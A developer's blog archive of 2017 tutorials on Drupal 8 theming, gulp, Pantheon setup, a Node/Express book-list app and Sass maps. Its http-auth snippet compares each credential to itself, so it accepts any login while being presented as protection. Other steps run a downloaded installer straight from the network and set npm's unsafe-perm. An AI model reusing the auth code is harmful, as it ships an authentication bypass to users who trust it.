libraries
I don't really understand why this is optional, because it seems quite mandatory to me. Anyway, instead of defining stylesheets and scripts like we did in Drupal 7, these assets are now defined in a separate THEME_NAME.libraries.yml file, and reference entries in that file here.

libraries:
  - godzilla/global-styling

This concept of an asset library is based on the premise that CSS and JS for modules and themes are all loaded via the same system. Part of improving the performance of Drupal 8 is to have assets load only if you tell them to, so not everything is loaded on every page.

For this bit, I strongly recommend reading the documentation, because it goes really in-depth on how this new asset library system works. Here's how a THEME_NAME.libraries.yml file looks like:

global-styling:
  version: 1.x
  css:
    theme:
      css/styles.css: {}
  js:
    js/scripts.js: {}

regions
Optional and will default to the list below if not specified. Regions are what shows up in the{" "} Administration > Structure > Blocks screen. Refer to the{" "} official documentation for a comprehensive explanation on defining regions in your theme.

regions:
  sidebar_first: "Left sidebar"
  sidebar_second: "Right sidebar"
  content: "Content"
  header: "Header"
  primary_menu: "Primary menu"
  secondary_menu: "Secondary menu"
  footer: "Footer"
  highlighted: "Highlighted"
  help: "Help"
  breadcrumb: "Breadcrumb"

base theme
The documentation recommends using Classy or Stable as a base theme because then you get all the pre-defined CSS classes written into those themes. If you're a sucker for punishment, like me, and just want to have absolute control over all your CSS classes, you can always set this to false, then your theme will have ZERO CSS classes. From there, you can add Twig templates to customise your CSS classes exactly the way you want to.

base theme: OTHER_THEME

The full list of all options available for the .info.yml file can be found here. A sample .info.yml file would look something like this:

name: "Godzilla is rox"
type: theme
description: "A custom responsive Godzilla-based theme."
core: 8.x
base theme: false
libraries:
  - godzilla/global-styling
regions:
  header: Header
  content: Content
  footer: Footer

Twig template files

PHPTemplate has now been replaced by Twig, so instead of *.tpl.php template files, they are now all *.html.twig template files. But the underlying mechanism of overriding templates with increasing specificity (based on naming convention) still apply in the world of Drupal 8. How this works is covered right here.

I'm not going to repeat the documentation, but I have to mention the most useful feature my noob ass fell in love with. Twig debugging! But before that, I hope you have a settings.local.php file already, because that's good practice, folks. Drupal 8 has a pretty aggressive caching strategy, which is great for performance, but a bit of a hassle during development. But that's what development settings are for.

First of all, we need Drupal to recognise your local development settings file. Check your settings.php file for these lines, and make sure they are uncommented:

if (file_exists($app_root . '/' . $site_path . '/settings.local.php')) {
  include $app_root . '/' . $site_path . '/settings.local.php';
}

Now, check in your settings.local.php file. If you made a copy from the example.settings.local.php file in the sites folder, then you should see this line somewhere in there:

$settings['container_yamls'][] = DRUPAL_ROOT . '/sites/development.services.yml';

Make sure it's uncommented. This tells Drupal to recognise the development services configuration. If you can't find it, add it in there. The development.services.yml file comes by default and should be in your sites folder, you shouldn't have to create it.

The default development.services.yml file looks like this:

# Local development services.
#
# To activate this feature, follow the instructions at the top of the
# 'example.settings.local.php' file, which sits next to this file.
parameters:
  http.response.debug_cacheability_headers: true
services:
  cache.backend.null:
    class: Drupal\Core\Cache\NullBackendFactory

You need to add some twig configuration to the parameters block like so:

# Local development services.
#
# To activate this feature, follow the instructions at the top of the
# 'example.settings.local.php' file, which sits next to this file.
parameters:
  http.response.debug_cacheability_headers: true
  twig.config:
    debug: true
    auto-reload: true
    cache: false
services:
  cache.backend.null:
    class: Drupal\Core\Cache\NullBackendFactory

This has activated twig debug mode, which means that if you check DevTools, there will be a bunch of comments that tell you which template is loaded as well as the file name suggestions you can use. This is pretty helpful for when you realise you need to add or change classes during the course of developing your theme.

Now you can start CSS-ing

Like I mentioned before, those of you who write plain vanilla CSS are free to start theming away. If you happen to use a workflow that involves Sass and gulp, I cover that bit on my updated theming Drupal with gulp post. Oh, and don't forget to take a screenshot of your theme, name it screenshot.png and place it in the root of your theme folder. Just makes things look nicer. Happy Drupal-ing!

Drupal 101: Theming Drupal 8 with gulp

Tue, 01 Aug 2017 00:00:00 GMT

Around two years ago, I wrote a post called Drupal 101: Theming Drupal 7 with gulp, which covered some basics about Sass and gulp. I'm not going to repeat myself, so if you can read that article if you're interested. This one is going to cover the delta for the gulpfile.js setup in Drupal 8.

gulp-ify your Drupal theme

If you're just starting out with Drupal 8 theming, you can read my previous post on exactly that right here. I'm going to cover the gulp tasks that are relevant to my way of working, which is a whole lot less than what most other people do with gulp.

I only use gulp to compile Sass, handle ES6 and clear the cache when I update Twig templates. No minification because Drupal does that already.

Setting up the package.json file

This part is completely replicated from the Drupal 7 post. Screenshots are tedious, so just replace all instances of Drupal 7 in the screenshots with Drupal 8 in your mind, thanks.

Navigate to the root of your Theme folder and initiate a new node project.

npm init

This will trigger a series of prompts for the generation of a package.json file. This file will store all the information about the required node packages for your project.

Most of the prompts are pretty intuitive, and if you leave any of the fields blank, default values will be used. You can always change those values later. Set the entry point to gulpfile.js , and add information like the git repository if you wish.

❗ Important: Preventing segmentation fault
To prevent triggering a segmentation fault when running Drush, we need to add a script to the package.json file that will remove all .info files from the node_modules folder. Each node package has it's own .info file and it turns out that Drush thinks that they are all part of Drupal. Unfortunately, they are not in a format that Drush recognises and hence everything blows up badly. The .info files are not necessary for gulp to run properly so it's safe to remove them.

If you had generated your package.json file by using npm init , locate the section called "scripts": , and replace the line:

"test": "echo \"Error: no test specified\" && exit 1"

with this line instead:

"postinstall": "find node_modules/ -name '*.info' -type f -delete"

Also, create a file called .npmrc in the root of your theme folder with the following contents:

unsafe-perm = true

References to this issue:

How do I prevent Drupal raising a segmentation fault when using a Node.js theming workflow?
Drupal Drush Segmentation Fault 11 Error: Avoiding the Rabbit Hole (This one’s a good read)

Plugins used

Here's the list of plug-ins needed and what they will be used for:

gulp - Still have to install gulp locally
gulp-sass - To compile Sass into CSS
gulp-autoprefixer - To add vendor-prefixes based on the latest specifications
browser-sync - To live-reload the browser
gulp-concat - To concatenate all your different JavaScript files into one big one
gulp-babel - To write ES6 and transpile it so browsers can understand what you're writing
babel-preset-es2015 - Part of gulp-babel, but has to be installed as well

This is what the final package.json looks like:

```js { "name": "drupal-8-starter", "version": "1.0.0", "description": "gulp workflow for Drupal 8 theming", "main": "gulpfile.js", "devDependencies": { "babel-preset-es2015": "^6.24.1", "browser-sync": "^2.18.13", "gulp": "^3.9.1", "gulp-autoprefixer": "^4.0.0", "gulp-concat": "^2.6.1", "gulp-babel": "^6.1.2", "gulp-sass": "^3.1.0" }, "scripts": { "postinstall": "find node_modules/ -name '*.info' -type f -delete" }, "author": "huijing <1461498+huijing@users.noreply.github.com>", "license": "ISC" } ```

gulpfile.js setup

The Drupal 7 post goes into a lot more detail on creating tasks and what each of the tasks does, and installing stuff, and if that's what you need, head on over there. This is simply the updated gulpfile.js for Drupal 8.

var gulp        = require('gulp'),
    browserSync = require('browser-sync'),
    sass        = require('gulp-sass'),
    prefix      = require('gulp-autoprefixer'),
    concat      = require('gulp-concat'),
    babel       = require('gulp-babel'),
    cp          = require('child_process');&NewLine;
/**
 &ast; Launch the Server
 */
gulp.task('browser-sync', ['sass', 'scripts'], function() {
  browserSync.init({
    // Change as required, also remember to set in theme settings
    proxy: "HOSTNAME.dev",
    port: 3000
  });
});&NewLine;
/**
 &ast; @task sass
 &ast; Compile files from scss
 */
gulp.task('sass', function () {
  return gulp.src('_scss/styles.scss')
  .pipe(sass())
  .pipe(prefix(['last 3 versions', '> 1%', 'ie 8'], { cascade: true }))
  .pipe(gulp.dest('css'))
  .pipe(browserSync.reload({stream:true}))
});&NewLine;
/**
 &ast; @task scripts
 &ast; Compile files from js
 */
gulp.task('scripts', function() {
  return gulp.src(['_js/*.js', '_js/custom.js'])
  .pipe(babel({
    presets: ['es2015']
  }))
  .pipe(concat('scripts.js'))
  .pipe(gulp.dest('js'))
  .pipe(browserSync.reload({stream:true}))
});&NewLine;
/**
 &ast; @task clearcache
 &ast; Clear all caches
 */
gulp.task('clearcache', function(done) {
  return cp.spawn('drush', ['cache-rebuild'], {stdio: 'inherit'})
  .on('close', done);
});&NewLine;
/**
 &ast; @task reload
 &ast; Refresh the page after clearing cache
 */
gulp.task('reload', ['clearcache'], function () {
  browserSync.reload();
});&NewLine;
/**
 &ast; @task watch
 &ast; Watch scss files for changes & recompile
 &ast; Clear cache when Drupal related files are changed
 */
gulp.task('watch', function () {
  gulp.watch(['_scss/*.scss', '_scss/**/*.scss'], ['sass']);
  gulp.watch(['_js/*.js'], ['scripts']);
  gulp.watch(['templates/*.html.twig', '**/*.yml'], ['reload']);
});&NewLine;
/**
 &ast; Default task, running just `gulp` will
 &ast; compile Sass files, launch BrowserSync, watch files.
 */
gulp.task('default', ['browser-sync', 'watch']);

Wrap-up

Porting an existing project up a version number is always a bit of a chore, but it always feels good when it's done. Dear future self, one day you'll look back at this post and be thankful you wrote it, because you almost never remember anything unless you error out big time. You're welcome.

Drupal 101: Developing with Pantheon

Sun, 30 Jul 2017 00:00:00 GMT

Pantheon is a website management platform that is known for specialised Drupal and Wordpress services. It offers various tiers of service depending on your particular use-case. Developers can utilise a free account for all the necessary development work and charges will only kick in after deploying to production.

While it is possible to do your development work entirely on your local machine then migrating the site to Pantheon, there are some slight configuration differences between hosting on Pantheon versus your own bare-metal server. I found it easier to just start off the process on Pantheon to begin with.

All the basic stuff

Sign up for a Pantheon account.
This is how the dashboard looks like.
To make life easier, I strongly advise setting up your SSH keys. Click on the Account tab and on the left navigation panel, you'll see SSH Keys. If you don't know how to generate SSH keys, there's documentation available for that complete with screenshots.
Once that's done, you can go back to the Sites tab to create a new site. Enter the name of your site. Whatever you enter will end up being in the the URL. Custom domains are a possibility, but that's under the deploy-to-production, needs-to-be-paid-for part of things.
Once your shiny new site is up, there'll be a site dashboard available to you. For the sake of this example, my site's name is sinvict. To set up the new site's database, click on the Visit Development Site link and a new window will pop up with the Drupal new site set up page.
After you've gone through the initial setup, there will be a new commit on your site dashboard, which is for the updated settings.php file on the server itself.

**Optional step** If like me, you like to use the command line for most things, you can install Terminus, Pantheon's CLI, using the following command:

$ curl -O https://raw.githubusercontent.com/pantheon-systems/terminus-installer/master/builds/installer.phar && php installer.phar install

or if you use fish:

$ curl -O https://raw.githubusercontent.com/pantheon-systems/terminus-installer/master/builds/installer.phar; and php installer.phar install

Local development setup

Pantheon has provided some documentation on how to get started with local development, but there are some bits that I had to figure out myself. Regardless, the documentation is good, so do read it first. The following are my exact steps for doing it.

For local development, switch connection mode to Git.
Clone your site into wherever you do site development.
Download a copy of the database. It will be compressed, so depending on your OS, unzip it, then import it into your local environment using your SQL client of choice.

I usually use drush for this (also, my shell is fish):
```
eval (drush sql-connect) < /Users/huijing/Desktop/sinvict_dev_2017-07-30T04-45-31_UTC_database.sql
```
Make a copy of the example.settings.local.php file, which can be found in the sites folder, and put it in the default folder. Your database configuration should be set up in here. Add it to the bottom of the file. Refer to the documentation for configuring settings.php from Pantheon for further clarification.
```
// Local development configuration.
if (!defined('PANTHEON_ENVIRONMENT')) {
  // Database.
  $databases['default']['default'] = array(
    'database' => 'DATABASE',
    'username' => 'USERNAME',
    'password' => 'PASSWORD',
    'host' => 'localhost',
    'driver' => 'mysql',
    'port' => 3306,
    'prefix' => '',
  );
}
$settings['hash_salt'] = '$HASH_SALT';
```
If your status report keeps telling you your configuration files are not protected, make sure the following line in the settings.local.php file gets commented out (explanation here):
```
$settings['skip_permissions_hardening'] = TRUE;
```
One of my pet peeves is having any warnings or errors in the Status Report even though it's just a local development environment and usually after this initial setup, you may get warnings with regards to trusted host settings and that the sites/default/config folder is not writable. I resolved them by adding these lines to the settings.local.php file, but your mileage may vary depending on what your local development setup is like.
```
$config_directories['sync'] = 'sites/default/config';
$settings['trusted_host_patterns'] = array(
'^sinvict\.dev$',
);
```

Committing changes to the repository

Unfortunately, in order to have multiple development branches, you'll have to pay for a proper business account. I don't really want to pay at this point, so I'm going to commit the sin of committing straight on the master branch. Circumstances, my friends.

My method involves drush, because I am an avid command-line lover. First off, download the drush aliases from your dashboard and place the file (pantheon.aliases.drushrc.php) in your .drush folder or the aliases folder of your local drush installation.

To check that things are working run the following:

drush sa

You should see something like this:

@none
@pantheon
@pantheon.sinvict.dev
@pantheon.sinvict.live
@pantheon.sinvict.test
@self
default

With this, you can run drush commands on your Pantheon development server from the terminal on your local machine. Say you installed and enabled a module, and would like to deploy this change upstairs. Commit the module and push it up to Pantheon as you would any other server.

Then, run the following drush command to enable it upstairs:

drush @pantheon.sinvict.dev en MODULENAME -y

Quirky things

This is probably just me, but on Firefox with uBlock Origin enabled, the dashboard couldn't load for me. If that happens to be your situation, maybe try disabling uBlock Origin?

If I find any more quirky behaviour, this section will be updated, but I sincerely hope not.

Wrapping up

That's pretty much it. If you didn't see through me, this is actually my personal documentation for setting up to develop sites on Pantheon, so I'm sorry if you don't find it useful. No hard feelings? 😘

The one about an app

Thu, 13 Jul 2017 00:00:00 GMT

It's finally happened. I did a proper JavaScript thing. Now before you start to judge me, let me clarify that although I've never written a JavaScript post ever, it's not like I don't know how to use it, okay? Sure I started out with jQuery back in 2015, big whoop, almost everybody I know has used jQuery at some point in their careers 😤.

In fact, my superficial need for external validation made me so self-concious about using jQuery in 2015 that I soon treated Ray Nicholus's You Don't Need jQuery! like some holy reference for a while until I weaned myself off jQuery.

But that's beside the point. Up till now, I've always been doing client-side JavaScript. I'd partner up with a “JavaScript person” who would handle the middleware-side of things, and write the nice APIs I would consume and be on my merry way. I'm pretty much known for my inordinate love of all things CSS, because I took to it like a duck to water 🦆.

Learning JavaScript was like being a duck trying to fly. Zoology lesson: ducks can fly! It's just that they're not optimised for flying at will. But on the whole, it is obvious that ducks can fly and may even take wing at a fast pace of about 50 miles per hour. So after a couple years, I felt it was time to stand on my own two feet and figure out how this middleware-server-api-routing stuff worked.

The use case

Everybody and their cat can build or has built an app, right? The time had come for me to join that club. I'd been tracking the list of books I want to read/borrow from the world-class Singapore National Library with a plain text file stored on Dropbox. It worked great till the list grew to past 40 books. The solution to this unwieldy list was obvious: (so say it with me) Just build an app for that.

To track list of books by title, dewey decimal number and available locations

That was the basic gist of the idea. The key functionality I wanted was to be able to filter the list depending on which library I was visiting at the time, because some books had copies in multiple libraries. Critical information would be the book title and dewey decimal number to locate said book. Simple enough, I thought. But it never is.

This being my first ”app”, I thought it'd be interesting to document the thought process plus questions I asked myself (mostly #noobproblems to be honest). Besides, I never had a standard format for writing case studies or blog posts. I also ramble a lot. Source code if you really want to look at noob code.

TL:DR (skip those which bore you)

Technology stack used: node.js, Express, MongoDB, Nunjucks
Starting point: Zell’s intro to CRUD tutorial
Database implementation: mLAb, a hosted database solution
Templating language: Nunjucks
Data entry: manually, by hand
Nunjucks syntax is similar to Liquid
Responsive table layout with HTML tables
Filtering function utilises indexOf()
Implementing PUT and DELETE
Offline functionality with Service Worker
Basic HTTP authentication
Deployment: Heroku

What technology stack should I use?

I went with node.js for the server, Express for the middleware layer, MongoDB as the database because I didn't really want to write SQL queries and Nunjucks as the templating language because it's kind of similar to Liquid (which I use extensively in Jekyll).

But before I settled on this stack, there was a lot of pondering about data. Previously, I had been terribly spoiled by my JavaScript counterparts who would just pass me endpoints from which I could access all the data I needed. It was like magic (or just abstraction, but aren't the two terms interchangeable?).

I'm used to receiving data as JSON, so my first thought was to convert the data in the plain text file into a JSON file, then do all the front-endy stuff I always do with fetch. But then I realised, I wanted to edit the data as well, like remove books or edit typos. So persistence was something I didn't know how to deal with.

There was a vague memory of something related to SQL queries when I once peeked into the middleware code out of curiosity, which led me to conclude that a database had to be involved in this endeavour 💡. I'm not as clueless as I sound, and I know how to write SQL queries (from my Drupal days), enough to know that I didn't want to write SQL queries for this app.

You have no idea how to write this from scratch, do you?

Nope, not a clue. But my buddy Zell wrote a great tutorial earlier on how to build a simple CRUD app, which I used as a guide. It wasn't exactly the same, so there was a lot of googling involved. But the advantage of not being a complete noob was that I knew which results to discard and which were useful 😌.

Zell's post covers the basic setup for an app running on node.js, complete with idiot-proof instructions on how to get the node.js server running from your terminal. There's also basic routing, so you can serve the index.html file as your home page, which you can extend for other pages as well. Nodemon is used to restart the server every time changes are made so you don't have to do it manually each time.

He did use a different stack from me, like EJS instead of Nunjucks, but most of the instructions were still very relevant, at least in part 1. Most deviations happened for the edit and delete portion of the tutorial.

So this mLab thing is a hosted database solution?

Yeah, Zell used mLab in the tutorial, it's a Database-as-a-Service so I kinda skipped over the learning how to set up MongoDB bit. Maybe next time. Documentation on how to get started using mLab is pretty good, but one thing made me raise an eyebrow (omg, when is this emoji coming?!), and that was the MongoDB connection URI contained the user name and password to the database.

I'm not a security expert but I know enough to conclude that is NOT a good idea. So next thing to find out was, what is the best way to implement this as a configuration? In Drupal, and we had a settings.php file. Google told me that StackOverflow says to create a config.js file then import that for use in the file where you do your database connections. I did that at first, and things were peachy, until I tried to deploy on Heroku. We'll talk about this later, but point is, store credentials in separate file and do NOT commit said file to git.

You don't want to use EJS like Zell, then how?

It's not that EJS is bad, I just wanted a syntax I was used to. But not to worry, because most maintainers of popular projects dedicate time to writing documentation. I learned the term RTFM quite early on in my career. Nunjucks is a templating engine by Mozilla, which is very similar to Jekyll's (technically Shopify made it) Liquid. Their documentation for getting started with Express was very understandable to me.

Couldn't think of a way to automate data entry?

Nope, I could not. I did have prior experience doing data entry in an earlier era of my life, so this felt...nostalgic? Anyway, the form had to be built first. Book title and dewey decimal number were straight-forward text fields. Whether the book had been borrowed or not would be indicated with radio buttons. Libraries were a bit trickier because I wanted to make them a multi-select input, but use Nunjucks to generate each option.

After building my nice form, and testing that submitting the form would update my database. I grabbed a cup of coffee, warmed up my fingers and went through around half an hour of copy/paste (I think). I'm very sure there is a better way to generate the database than this, but it would have definitely taken me longer than half an hour to figure out. Let's KIV this item, okay?

Can you Nunjucks like you do Liquid?

Most templating languages probably can do the standard looping and conditionals, it's just a matter of figuring out the syntax. In Jekyll, you chuck your data into .yml or .json files in the _data folder and access them using something like this:

{% for slide in site.data.slides %}
<!-- markup for single slide -->
{% endfor %}

Jekyll has kindly handled the mechanism for passing data from those files into the template for you, so we'll have to do something similar for using Nunjucks properly. I had two chunks of data to send to the client-side, my list of libraries (a static array) and the book data (to be pulled from the database). And I learned that to do that we need to write something like this:

app.get("/", (req, res) => {
  db.collection("books")
    .find()
    .toArray((err, result) => {
      if (err) return console.log(err);
      res.render("index", {
        libraries: libraries,
        books: result,
      });
    });
});

I'm fairly confident this is an Express functionality, where the render() function takes two parameters, the template file and an object which contains the data you want to pass forward. After this, I can magically loop this data for my select dropdown and books table in the index.html file. Instead of having to type out an obscenely long list of option elements, Nunjucks does it for me.

<select name="available_at[]" multiple>
  {% for library in libraries %}
  <option>{{ library.name }}</option>
  {% endfor %}
</select>

And another 💡 moment happened when I was working out how to render the book list into a table. So the libraries field is a multi-value field, right? As I made it a multi-select, the data is stored in the database as an array, however, single values were stored as a string. This screwed up my initial attempts at formatting this field, until I realised it was possible to force a single value to be stored as an array using [] in the select's name attribute.

Better make the list of books responsive, eh?

Yes, considering how I pride myself in being a CSS person, it'd be quite embarrassing if the display was broken at certain screen widths. I already had a responsive table setup I wrote up previously that was made up of a bunch of divs that pretended to be a table when the width was wide enough. Because display: table is a thing. I know this because I researched it before.

So I did that at first, before realising that the <table> element has extra properties and methods that normal elements don't. 💡 (at the rate this is going, I'll have enough light bulbs for a nice chandelier). This doesn't have anything to do with the CSS portion of things, but was very relevant because of the filtering function I wanted to implement.

Then it occurred to me, if I could make divs pretend to be a table, I could make a table act like a div. I don't even understand why this didn't click for me earlier 🤷. Long story short, when things started to get squeezy, the table, rows and cells got their display set to block. Sprinkle on some pseudo-element goodness and voila, responsive table.

That's an HTML table, folks.

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Let's talk about this filtering thing, alright?

I'll be honest. I've never written a proper filtering function by myself before. I did do an autocomplete, once. But that was it. I think I just used someone else's library (but I made sure it was like really tiny and optimised and everything) when I had to. What I wanted was to have a select dropdown that would only show the books available at one particular library.

The tricky thing was that the library field was multi-value. So you couldn't just match the contents of the library cell with the value of the option selected, or could you? So I found this codepen by Philpp Unger which filtered a table based on text input.

The actual filtering leverages the indexOf() method, while the forEach() method loops through the whole slew of descendants in the book table. So like I mentioned earlier, a normal HTMLElement doesn't have the properties that a HTMLTableElement does, like HTMLTableElement.tBodies and HTMLTableElement.rows. MDN documentation is great, here are the links for indexOf(), forEach() and HTMLTableElement.

Why was your edit and delete different from Zell's?

Because I had more data, and I didn't want to use fetch for the first pass. I wanted CRUD to work on the basic version of the app without client-side JavaScript enabled. It's fine if the filtering doesn't work without JavaScript, I mean, I probably could make it so the filtering was done on the server-side, but I was tired.

Anyway, instead of fetch, I put in individual routes for each book where you could edit fields or delete the whole thing. I referred to this article by Michael Herman, for the put and delete portions. Instead of fetch, we used the method-override middleware.

The form action then looked like this:

<form method="post" action="/book/{{book._id}}?_method=PUT">
  <!-- Form fields -->
</form>

The form itself was pre-populated with values from the database, so I could update a single field without having to fill the whole form out each time. Though that did involve putting in some logic in the templates, for the multi-select field and my radio buttons. I've heard some people say templates should be logic-free, but 🤷.

<select name="available_at[]" multiple>
  {% for library in libraries %} {% if book.available_at == library.name %}
  <option selected>{{ library.name }}</option>
  {% else %}
  <option>{{ library.name }}</option>
  {% endif %} {% endfor %}
</select>

<fieldset>
  <legend>Borrowed?</legend>
  {% if book.borrowed == "yes" %} {{ checked }} {% set checked = "checked" %} {% else %} {{
  notchecked }} {% set notchecked = "checked" %} {% endif %}
  <label>
    <span>Yes</span>
    <input type="radio" name="borrowed" value="yes" {{ checked }} />
  </label>
  <label>
    <span>No</span>
    <input type="radio" name="borrowed" value="no" {{ notchecked }} />
  </label>
</fieldset>

One problem that took me a while to figure out was that I kept getting a null value when trying to query a book using its ID from my database. And I was sure I was using the right property. What I learned was, the ID for each entry in MongoDB is not a string, it's an ObjectID AND you need to require the ObjectID function before using it.

Oooo, let's also play with Service Worker!

Have you read Jeremy Keith's wonderful book, Resilient Web Design yet? If you haven't, stop right now and go read it. Sure it's a web book, but it also works brilliantly offline. So I've known about Service Worker for a bit, read a couple blog posts, heard some talks, but never did anything about it. Until now.

The actual implementation wasn't that hard, because the introductory tutorials for the most basic of functionalities are quite accessible, like this one by Nicola Fioravanti. You know how when you build a thing and you ask the business users to do testing, and somehow they always manage to do the one obscure thing that breaks things. That was me. Doing it to myself.

So I followed the instructions and modified the service-worker according to the files I needed cached, and tested it out. If you use Chrome, DevTools has a Service Worker panel under Application, and you can trigger Offline mode from there. First thing I ran into was this error: (unknown) #3016 An unknown error occurred when fetching the script, but no biggie, someone else had the same problem on Stack Overflow.

The next thing that tripped me up for a day and a half was that, unlike normal human beings, I reflexively reload my page by pressing ⌘+Shift+R, instead of ⌘+R. That Shift key was my undoing, because it triggers reload and IGNORES cached content. It turned out my Service Worker had been registered and running all this while 🤦‍♀️.

Ah, the life of a web developer.

Let's put some authentication on this baby

Okay, I actually took one look at Zell's demo app and realised it kind of got a bit out of hand because it was a free-for-all form input and anyone could submit anything they wanted. Which was kind of the point of the demo, so no issues there. But for my personal app, I'm perfectly capable of screwing around with the form submission all by myself, thank you.

Authentication is a big thing, in that there are a tonne of ways to do it, some secure and some not, but for this particular use-case I just needed something incredibly simple. Like a htpasswd (you guys still remember what that is, right?). Basic HTTP authentication is good enough for an app which will only ever have one user. Ever.

And surprise, surprise, there's an npm module for that. It's called http-auth, and implementation is relatively straight-forward. You can choose to protect a specific path, so in my case, I only needed to protect the page that allowed for modifications. Again, credentials in a separate file, kids.

const auth = require("http-auth");
const basic = auth.basic({ realm: "Modify database" }, (username, password, callback) => {
  callback(username == username && password == password);
});

app.get("/admin", auth.connect(basic), (req, res) => {
  // all the db connection, get/post, redirect, render stuff
});

What about deployment?

Ah yes, this part of development. If you ask me, the easiest way to do this is with full control of a server (any server), accessible via ssh. Because for all my short-comings in other areas (*ahem* JavaScript), I'm fully capable of setting up a Linux server with ssh access plus some semblance of hardening. It's not hard if you can follow instructions to a T and besides, I've had lots of practice (I've lost count of the number of times I wiped a server to start over).

But I'm a very very cheap person, who refuses to pay for stuff, if I can help it. I've also run out of ports on my router so those extra SBCs I have lying around will just have to continue to collect dust. The go-to free option seems to be Heroku. But it was hardly a smooth process. Chalk it up to my inexperience with node.js deployment on this particular platform.

It was mostly issues with database credentials, because I originally stored them in a config.js file which I imported into my main app.js file. But I realised there wasn't a way for me to upload that file to Heroku without going through git, so scratch that plan. Let's do environment variables instead, since Heroku seems to have that built in.

What took me forever to figure out was that on Heroku, you need to have the dotenv module for the .env file to be recognised (or wherever Heroku handles environment variables). Because on my local machine, it worked without the dotenv module, go figure.

Wrapping up

Really learned a lot from this, and got a working app out of it, so time well spent, I say. I also learned that it's actually pretty hard to find tutorials that don't use a truck-load of libraries. Not that I'm against libraries in general, but as a complete noob, it's a bit too magical for me. Sprinkle on the fairy dust a little later, thanks. Anyway, I'll be off working on the next ridiculous idea that pops into my mind, you should try it some time too 🤓.

Over-engineering Sass maps

Fri, 30 Jun 2017 00:00:00 GMT

I finally put together a landing page for the little random demos I build from time to time because, you know, CSS is my hobby. SingaporeCSS is our meetup group that runs Talk.CSS, and when I built that site last year, I figured it was an excuse to try out CSS variables (and chromatic fonts and other “cutting edge” stuff).

A feature of Sass that I particularly like is the ability to loop. To me, this is purely a developer convenience because the compiled result is something that can totally be written by hand but I'm such a lazy sloth that I'd rather spend half a day figuring out how to write the loop. #overengineering

Here's the use case. I want to store my colours in a Sass map, which has the name of the colour and its hex code. And I would like to reuse this map in the plethora of other declarations down the line. So in the case of using CSS variables for colours, I wanted to have fallback values in my var() function as well.

Thought: I've actually pondered this over, and realised that if I was using a Sass map for this the fallback value is probably redundant. Talk to me about this.

CSS variables deserve their own post, which I technically have written except that it's on Codrops CSS reference. But if you want to know more about CSS variables, head straight on down to the resources section.

I also wanted to use the same map to write nth-child selectors so the relevant elements would have repeated colours based on the colours in my Sass map. This all sounds reasonably straight-forward, doesn't it? But, it turns out that Sass maps don't have an index interator variable.

In my naive mind, probably a place where unicorns shit rainbows, I'd like to write code that looks something like this:

@function colour($colour-name) {
  @return var(--#{$colour-name}, map-get($colours, $colour-name));
}

@each $name, $colour in $colours {
  section:nth-child($index) {
    background-color: colour($name);
    mix-blend-mode: color-dodge;
  }
}

I guess I keep thinking of the index parameter that is available to us when we use the map() function, you know? But that's not to say that Sass itself isn't pretty awesome. Let's talk about the Sass functionality that are most commonly found in my projects.

If you're not familiar with Sass, it is a pre-processor that utilises the same syntax as CSS, but also extends it through SassScript, which allows properties to use mixins, variables, nesting, functions and so on.

SassScript supports 7 data types:

numbers
strings
colours
booleans
nulls
lists
maps

I'm only going to discuss Sass maps here.

Sass maps

Sass maps were introduced in Sass 3.3 and allowed us to store a comma-separated list of key-value pairs in a Sass variable. And with this nifty new data type, we also got some map functions to go with it. This is how a Sass map looks like:

$map: (
  key1: value1,
  key2: value2,
);

The most common use-case for Sass maps (at least for me) is for managing colours. I used to store my colours in Sass variables like so:

$green: #7ed321;
$red: #ff595e;
$yellow: #f8e81c;
$blue: #4990e2;
$purple: #db61f4;

And now, I put them in a Sass map, like so:

$colours: (
  green: #7ed321,
  red: #ff595e,
  yellow: #f8e81c,
  blue: #4990e2,
  purple: #db61f4,
);

The reason for this seemingly minor difference, is the ability to use Sass directives to write loops. But before we get into that, I want to briefly cover all the available functions you can use with Sass maps.

map-get($map, $key)

Returns the value in a map associated with a given key.

map-merge($map1, $map2)

Merges two maps together into a new map.

map-remove($map, $keys…)

Returns a new map with keys removed.

map-keys($map)

Returns a list of all keys in a map.

map-values($map)

Returns a list of all values in a map.

map-has-key($map, $key)

Returns whether a map has a value associated with a given key.

keywords($args)

Returns the keywords passed to a function that takes variable arguments.

And, you can also use all the list functions with Sass maps as well. So here's some more stuff you can do with Sass maps.

length($list)

Returns the length of a list.

nth($list, $n)

Returns a specific item in a list.

index($list, $value)

Returns the position of a value within a list.

set-nth($list, $n, $value)

Replaces the nth item in a list.

join($list1, $list2, [$separator])

Joins together two lists into one.

append($list1, $val, [$separator])

Appends a single value onto the end of a list.

zip($lists…)

Combines several lists into a single multidimensional list.

list-separator($list)

Returns the separator of a list.

Sass control directives

Every introduction to programming course or tutorial I've encountered covers directives. It's fundamental to injecting some logic into your programs. And also helps us write less code. CSS itself does not support control directives because it is a stylesheet language.

@if

The @if directive evaluates the SassScript expression and uses the styles nested within the declaration if it returns anything other than false or null. The @if statement can be followed by @else if statements or just an @else statement so some kind of logic can be built into your styles.

For example, this is a function that returns either a dark text colour or a light text colour depending on the colour value used as the function's parameter.

@function text-colour($colour) {
  @if (lightness($colour) > 49) {
    @return #000; // Lighter background, return dark color
  } @else {
    @return #fff; // Darker background, return light color
  }
}

// Usage
.element {
  background-color: #000;
  color: text-colour(#000);
}

@for

We can write loops using the @for directive. The number of times the loop is run is determined by a counter variable. There are 2 ways to write this directive, note the difference in keywords used.

// includes the values of &lt;start&gt; and &lt;end&gt;
@for $var from &lt;start&gt; through &lt;end&gt;

// runs up to but not including the value of &lt;end&gt;
@for $var from &lt;start&gt; to &lt;end&gt;

The counter variable can be used in the CSS declaration as well, useful for selectors which are numerically incremented, or nth-child selectors.

@for $i from 1 through 3 {
  .item-#{$i} {
    width: 2em * $i;
  }
}

/* compiles into */
.item-1 {
  width: 2em;
}

.item-2 {
  width: 4em;
}

.item-3 {
  width: 6em;
}

@while

If you don't want to write a for loop, SassScript allows you to write a while loop. The nested styles within the @while directive will be output until the expression evaluates to false. For example:

$i: 9;
@while $i > 0 {
  .item-#{$i} {
    width: 1em * $i;
  }
  $i: $i - 3;
}

/* compiles into */
.item-9 {
  width: 9em;
}

.item-6 {
  width: 6em;
}

.item-3 {
  width: 3em;
}

Honestly, I never used the @while directive before simply because I haven't encountered an use case for it yet.

@each

Now this I like to use a lot, and is the main point of this article. The @each directive is pretty flexible in that it can set the value of a variable $var to each item in a list or map, then output the styles within the declaration using that variable. The general syntax is:

@each $var in &lt;list or map&gt;

